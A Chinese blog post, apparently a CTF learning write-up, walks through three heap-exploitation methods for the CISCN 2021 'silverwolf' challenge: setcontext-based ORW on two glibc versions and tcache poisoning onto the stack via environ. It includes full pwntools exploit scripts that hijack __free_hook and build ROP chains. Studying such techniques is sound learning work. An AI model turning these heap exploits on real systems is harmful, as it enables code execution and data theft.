A2ur2的梦想小屋

我许下的愿望该向谁去说明

0%

努力成长的pwn弟系列-【2】由silverwolf得到的各种新姿势

例题是来自ciscn2021初赛的silverwolf,原本只是用来练习利用setcontext去orw没想到翻查各大师傅wp时发现这个题目有各种各样的pwn姿势,一个题目能搞出好几个exp,着实对本菜🐥幼小的心灵造成了不小冲击,于是我决定不白蓝要好好学习时,就把这些定成了小目标一一学习复现。弟弟我冲了,不然fallw1nd又要pua我了。

题目大概程序就是只能控制id为0的堆块,存在UAF漏洞,开了沙箱白名单,只允许open read 和write的系统调用,很ez是吧(

一、setcontext+orw(libc<2.29)

1、setcontext

setcontext是libc中一段根据rdi去索引相对应的值,然后将这些值mov进寄存器的一段汇编。在libc-2.29以下,它长介个样子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
0x7f638914d070 <setcontext>: push   rdi
0x7f638914d071 <setcontext+1>: lea rsi,[rdi+0x128]
0x7f638914d078 <setcontext+8>: xor edx,edx
0x7f638914d07a <setcontext+10>: mov edi,0x2
0x7f638914d07f <setcontext+15>: mov r10d,0x8
0x7f638914d085 <setcontext+21>: mov eax,0xe
0x7f638914d08a <setcontext+26>: syscall
0x7f638914d08c <setcontext+28>: pop rdi
0x7f638914d08d <setcontext+29>: cmp rax,0xfffffffffffff001
0x7f638914d093 <setcontext+35>: jae 0x7f638914d0f0 <setcontext+128>
0x7f638914d095 <setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0]
0x7f638914d09c <setcontext+44>: fldenv [rcx]
0x7f638914d09e <setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
0x7f638914d0a5 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
0x7f638914d0ac <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
0x7f638914d0b3 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
0x7f638914d0b7 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
0x7f638914d0bb <setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
0x7f638914d0bf <setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
0x7f638914d0c3 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
0x7f638914d0c7 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x7f638914d0ce <setcontext+94>: push rcx
0x7f638914d0cf <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
0x7f638914d0d3 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
0x7f638914d0da <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
0x7f638914d0e1 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
0x7f638914d0e5 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
0x7f638914d0e9 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
0x7f638914d0ed <setcontext+125>: xor eax,eax
0x7f638914d0ef <setcontext+127>: ret
0x7f638914d0f0 <setcontext+128>: mov rcx,QWORD PTR [rip+0x398d71]
0x7f638914d0f7 <setcontext+135>: neg eax
0x7f638914d0f9 <setcontext+137>: mov DWORD PTR fs:[rcx],eax
0x7f638914d0fc <setcontext+140>: or rax,0xffffffffffffffff
0x7f638914d100 <setcontext+144>: ret

而我们要从setcontext+53开始利用,因为再次之前这个 fldenv [rcx] 会导致程序crash。从汇编中我们可以看出,setcontext可以设置除了rax之外的一系列寄存器,把他们🐏成👴想要的值,rip寄存器由于ret之前把rcx的值给push进了栈里面,所以我们也能控制了rip。最后最后,不可控的rax寄存器,因为xor eax,eax这条汇编的存在,所以它一定会先被设置成0。好!rax寄存是0!👴一开始并不明白为什么这个0会让大伙如此兴奋,难不成大伙都是1吗(bushi

rax寄存器是存放返回结果的寄存器,也用来存放系统调用号,我们没法通过setcontext控制rax,但通过类似栈迁移的手法执行rop控制寄存器。

我们能控制rsp和rip,就能把栈劫持到我们的可控区域,类似栈迁移,提前在可控区域布置好rop链就可以劫持我们的栈到上面,从而控制程序执行流进行orw。除此之外我们也可以选择调用mprotect函数,在可控区域提前布置好shellcode。

这题看了chuj师傅博客中尝试leak libc的方法– malloc_consolidate leak ,将top chunk耗尽后触发 small request 的 malloc_consolidate 会让fastbin都经过一次unsorted bin,这样就有libc,但这题目开的白名单,耗尽top chunk后会调用brk()这一系统调用去增长堆空间,在这里程序会crash。在布局时要垫高和topchunk的距离,不然会被认为topchunk大小不够从而调用brk()导致crash。另外在尝试的过程中发现,free的过程中,貌似不仅要伪造好当前堆块+size位的chunk头,过程中好像还会一直根据size去检索,直到top chunk(留个坑,没看源码捏),所以堆布局要构造好。

2、解题思路

libc:2.27-3ubuntu1.5_amd64

题目限制了malloc的大小,所以我的想法是用在堆块中伪造一个chunk头,然后tcache posion申请到这个fake chunk,再free掉它从而构造出unsorted bin。通过tcache直接获得堆地址(这题本地调试会自己malloc和free很多堆块,我从里面随便挑了一个size的申请,然后show就有heap_addr)

然后打free_hook为setcontext+53,由于我们只能控制id为0的堆块,所以得先free一个堆块chunk1作为铺垫,再在该chunk1堆块往高地址的地方布置rop链,最后再申请回chunk1,将其free作为rdi的参数,由于申请size大小限制,得分开布局rop,其中要注意我们chunk的size位也会被当作rop链的一部分,所以需要连续的pop指令,不然ret会返回的地址会变成size从而导致程序crash

3、exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#python2
from pwn import*
p=process('./silverwolf')
elf=ELF('./silverwolf')
context.os = 'linux'
context.log_level = 'debug'
context.arch = 'amd64'
def menu(choice):
p.sendlineafter("Your choice:",str(choice))
def add(id,size):
menu(1)
p.sendlineafter("Index:",str(id))
p.sendlineafter(":",str(size))
def edit(id,data):
menu(2)
p.sendlineafter("Index:",str(id))
p.sendlineafter("Content:",str(data))
def show(id):
menu(3)
p.sendlineafter("Index:",str(id))
def delete(id):
menu(4)
p.sendlineafter("Index:",str(id))

#add(0,0x18)

#edit(0,'flag.txt\n')
add(0,0x8)
delete(0)
show(0)
p.recvuntil("Content: ")
heap_addr=u64(p.recv(6).ljust(8,'\x00'))-0x1790
print(hex(heap_addr))
add(0,0x38)
edit(0,p64(0)+p64(0x511)+p64(heap_addr+0x10d0))
add(0,0x68)
#edit(0,heap_addr)
#add(0,0x38)
#gdb.attach(p)
delete(0)
#gdb.attach(p)
pause()
edit(0,p64(heap_addr+0x1930))
chunk_head=p64(0)+p64(0x31)
for i in range(15):
add(0,0x58)
edit(0,p64(0)*6+chunk_head)
add(0,0x68)
pause()
#gdb.attach(p)

add(0,0x68)
#edit(0,'aaaaaaa')
#gdb.attach(p)
#pause()
#gdb.attach(p)
#gdb.attach(p)
raw_input('enter')
#gdb.attach(p)
delete(0)
show(0)
libc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, '\x00'))-0x3ebca0
print(hex(libc))
setcontext=libc+0x52050+53
free_hook=libc+0x3ed8e8
write=libc+0x1100f0
read=libc+0x110020
openadd=libc+0x10fbf0
pop_rdi_rbp=libc+0x0000000000022394
pop_rdi=libc+0x000000000002164f
pop_rsi=libc+0x0000000000023a6a
pop_rdx=libc+0x0000000000001b96
pop_rax=libc+0x000000000001b500
syscall=libc+0x00000000000d2625


add(0,0x78)
delete(0)
edit(0,p64(free_hook)*2)
add(0,0x18)
edit(0,'./flag\x00')
flag_addr=heap_addr+0x1610
add(0,0x28)
edit(0,'a'*0x28)
delete(0)
add(0,0x78)
add(0,0x78)
edit(0,p64(setcontext)*2)
pd=p64(9)+b'a'*0x10+p64(12)+p64(13)+p64(14)+p64(15)+p64(flag_addr)+p64(2)+p64(0)+p64(0xaa)

add(0,0x58)
edit(0,pd)


#gdb.attach(p)
raw_input('gdb')
add(0,0x78)
pd=b'a'*8+p64(0xaa)+p64(heap_addr+0x19d0)+p64(pop_rax)
pd+=p64(2)+p64(syscall)+p64(pop_rdi)+p64(3)+p64(pop_rsi)
pd+=p64(heap_addr)+p64(pop_rdx)+p64(0x100)+p64(read)+p64(pop_rdi_rbp)+p64(1)

edit(0,pd)


pd=p64(write)
add(0,0x48)
edit(0,pd)

add(0,0x28)
gdb.attach(p)
raw_input()
delete(0)



p.interactive()

二、setcontext+orw(libc>2.29)

1、改动以及解决方法

libc:2.31

在glibc高于2.29的版本里,setcontext从rdx寄存器索引去寻找寄存器的值而不是rdi寄存器,这意味着我们不能够通过free堆块,将其作为rdi传参来控制对应寄存器

因此我们需要一个magic gadget来帮助我们。根据大师傅所说的,在libc>2.29的版本,基本都能找到类似 mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20] 这样的gadget。

我一开始不理解为什么要这种gadget,仔细分析一下,首先是mov rdx ,qword ptr [rdi + 8],是将rdi+8的值赋值给rdx寄存器,介不控制了rdx了吗,然后有call了qword ptr [rdx + 0x20],那我这里放setcontext介不是相当于又控制了rdx又控制了接下来执行的指令吗,ok,冲一发先。

v2emHP.png

找到这样的类似gadget,然后我们free堆块依旧当作rdi传参,然后rdi+8的位置刚好是我们的可控区域并且会将这里的值传入rdx,最后会call rdx +0x20这个位置。

那我们只要构造**’a’*8+p64(chunk)+’b’*0x10+p64(setcontext)**,其中chunk内布置我们利用setcontext的寄存器,然后劫持到堆上rop即可。

攻击效果如下

v2eaNT.jpg

2、exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import*
p=process('./silverwolf')
elf=ELF('./silverwolf')
context.os = 'linux'
context.log_level = 'debug'
context.arch = 'amd64'
def menu(choice):
p.sendlineafter("Your choice:",str(choice))
def add(id,size):
menu(1)
p.sendlineafter("Index:",str(id))
p.sendlineafter(":",str(size))
def edit(id,data):
menu(2)
p.sendlineafter("Index:",str(id))
p.sendlineafter("Content:",str(data))
def show(id):
menu(3)
p.sendlineafter("Index:",str(id))
def delete(id):
menu(4)
p.sendlineafter("Index:",str(id))
def check():
gdb.attach(p)
raw_input('check')
#add(0,0x18)

#edit(0,'flag.txt\n')
add(0,0x8)
delete(0)
show(0)
p.recvuntil("Content: ")
heap_addr=u64(p.recv(6).ljust(8,'\x00'))-0x17d0
print('[+]heap='+hex(heap_addr))

add(0,0x38)
edit(0,p64(0)+p64(0x511)+p64(heap_addr+0x1330))#fake unsorted bin
add(0,0x68)
#edit(0,heap_addr)
#add(0,0x38)
#gdb.attach(p)

delete(0)
#check()
edit(0,p64(heap_addr+0x1970))
chunk_head=p64(0)+p64(0x31)
for i in range(15):
add(0,0x58)
edit(0,p64(0)*6+chunk_head)
add(0,0x68)


add(0,0x68)


delete(0)
show(0)
libc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, '\x00'))-0x1ecbe0
print('[+]libc='+hex(libc))

setcontext=libc+0x54f20+61
free_hook=libc+0x1eee48
write=libc+0x10e060
read=libc+0x10dfc0
openadd=libc+0x10dce0
pop_rsi_15=libc+0x0000000000023b68
pop_rdi=libc+0x0000000000023b6a
pop_rsi=libc+0x000000000002601f
pop_rdx=libc+0x0000000000142c92
pop_rax=libc+0x0000000000036174
syscall=libc+0x00000000000630a9
magic_gadget=libc+0x0000000000151990
ret=libc+0x0000000000022679
pop_rdi_rbp=libc+0x00000000000248f2
add(0,0x68)
delete(0)
edit(0,p64(free_hook)*2)
add(0,0x18)
edit(0,'./flag\x00')
flag_addr=heap_addr+0x1650
add(0,0x28)
rop_addr=heap_addr
#edit(0,'a'*8+p64(heap_addr)+'b'*8+p64(setcontext))

delete(0)
#check()
add(0,0x68)
add(0,0x68)
edit(0,p64(magic_gadget)*2)
fake_rsp=heap_addr
pd=p64(9)+b'a'*0x10+p64(12)+p64(13)+p64(14)+p64(15)+p64(flag_addr)+p64(2)+p64(0)+p64(0xaa)

add(0,0x58)
edit(0,pd)

#check()
#gdb.attach(p)

add(0,0x58)
#add(0,0x78)
pd=b'a'*8+p64(0xaa)+p64(heap_addr+0x1a10)+p64(pop_rax)
pd+=p64(2)+p64(syscall)+p64(pop_rdi)+p64(3)+p64(pop_rsi)
pd+=p64(heap_addr)+p64(pop_rdx)
#p64(0x100)+p64(read)+p64(pop_rdi_rbp)+p64(1)

edit(0,pd)
pd=p64(read)+p64(pop_rdi_rbp)+p64(1)+p64(0)+p64(write)
add(0,0x38)
edit(0,pd)
#check()
#pd=p64(write)
#add(0,0x48)
#edit(0,pd)

add(0,0x28)
check()
edit(0,'a'*8+p64(heap_addr+0x1970)+'b'*0x10+p64(setcontext))
delete(0)



p.interactive()

三、利用environ

曾经volcano的学长告诉我这一招,就是申请到栈上rop,回归pwn最初的模样,找回初恋的感觉(x

1、environ变量

environ变量是glibc里的一个环境变量。里面会存储一个栈的地址。得知栈地址我们就可以将chunk申请到栈上,找回初次与pwn相恋的感觉

2、调试小tips

每一个函数栈帧与这个environ值的偏移是不同的,我们需要申请的是你最后完成rop布局时ret的地址

可以在ida里找到retn

vhXRts.png

我们尝试断点到edit函数的这个retn

vhX7BF.png

1
2
pwndbg> b *$rebase(0x1056)
Breakpoint 1 at 0x55985f001056

找到此时的rsp地址

vhXLN9.png

这个0x7ffcc4659008就是我们要打的ret,接下来申请过去无脑塞ROP就可以了。

本地libc:2.27-3ubuntu1.5_amd64

需要注意的是本题在打tcache poison时要注意维护下原链表,否则就容易无法再次申请该size大小的堆块,我下面的exp没有维护链表是因为libc版本是2.27,没有对cnt位的检测,可以直接找一个空的tcache bins去打tcache posion。当然可以直接打整个tcache struct(

3、exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
from pwn import*
p=process('./silverwolf')
elf=ELF('./silverwolf')
context.os = 'linux'
context.log_level = 'debug'
context.arch = 'amd64'

def menu(choice):
p.sendlineafter("Your choice:",str(choice))
def add(id,size):
menu(1)
p.sendlineafter("Index:",str(id))
p.sendlineafter(":",str(size))
def edit(id,data):
menu(2)
p.sendlineafter("Index:",str(id))

p.sendlineafter("Content:",str(data))
def show(id):
menu(3)
p.sendlineafter("Index:",str(id))
def delete(id):
menu(4)
p.sendlineafter("Index:",str(id))
def check():
gdb.attach(p)
raw_input()

def check_edit(id,data):
menu(2)
p.sendlineafter("Index:",str(id))
check()
p.sendlineafter("Content:",str(data))

#edit(0,'flag.txt\n')
add(0,0x8)
delete(0)
show(0)
p.recvuntil("Content: ")
heap_addr=u64(p.recv(6).ljust(8,'\x00'))-0x1790
print(hex(heap_addr))
add(0,0x38)
edit(0,p64(0)+p64(0x511)+p64(heap_addr+0x10d0))
add(0,0x68)
#edit(0,heap_addr)
#add(0,0x38)
#gdb.attach(p)
delete(0)
#gdb.attach(p)

edit(0,p64(heap_addr+0x1930))
chunk_head=p64(0)+p64(0x31)
for i in range(15):
add(0,0x58)
edit(0,p64(0)*6+chunk_head)
add(0,0x68)

#gdb.attach(p)

add(0,0x68)

delete(0)
show(0)
libc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, '\x00'))-0x3ebca0
print(hex(libc))
setcontext=libc+0x52050+53
free_hook=libc+0x3ed8e8
write=libc+0x1100f0
read=libc+0x110020
openadd=libc+0x10fbf0
pop_rdi_rbp=libc+0x0000000000022394
pop_rdi=libc+0x000000000002164f
pop_rsi=libc+0x0000000000023a6a
pop_rdx=libc+0x0000000000001b96
pop_rax=libc+0x000000000001b500
syscall=libc+0x00000000000d2625
environ=libc+0x3ee098
pop_rdx_rbx=libc+0x000000000011c35c
add(0,0x38)
delete(0)
edit(0,p64(environ)*2)
add(0,0x18)

edit(0,'./flag\x00')
flag_addr=heap_addr+0x1610

add(0,0x38)

add(0,0x38)

show(0)

stack=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x120
print('[+]stack='+hex(stack))


def orw1():
add(0,0x68)
delete(0)
edit(0,p64(stack))
add(0,0x68)

add(0,0x68)
pd=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(pop_rax)
pd+=p64(2)+p64(syscall)+p64(pop_rdi)+p64(3)+p64(pop_rsi)
pd+=p64(heap_addr)+p64(pop_rdx_rbx)+p64(0x100)#stack rop
print('[+]stack='+hex(stack))

check_edit(0,pd)





add(0,0x28)
delete(0)
edit(0,p64(stack+0x70))
print('write='+hex(stack+0x70))
add(0,0x28)

add(0,0x28)
pd=p64(read)+p64(pop_rdi)+p64(1)+p64(write)

edit(0,pd)


orw1()

#menu(5)

p.interactive()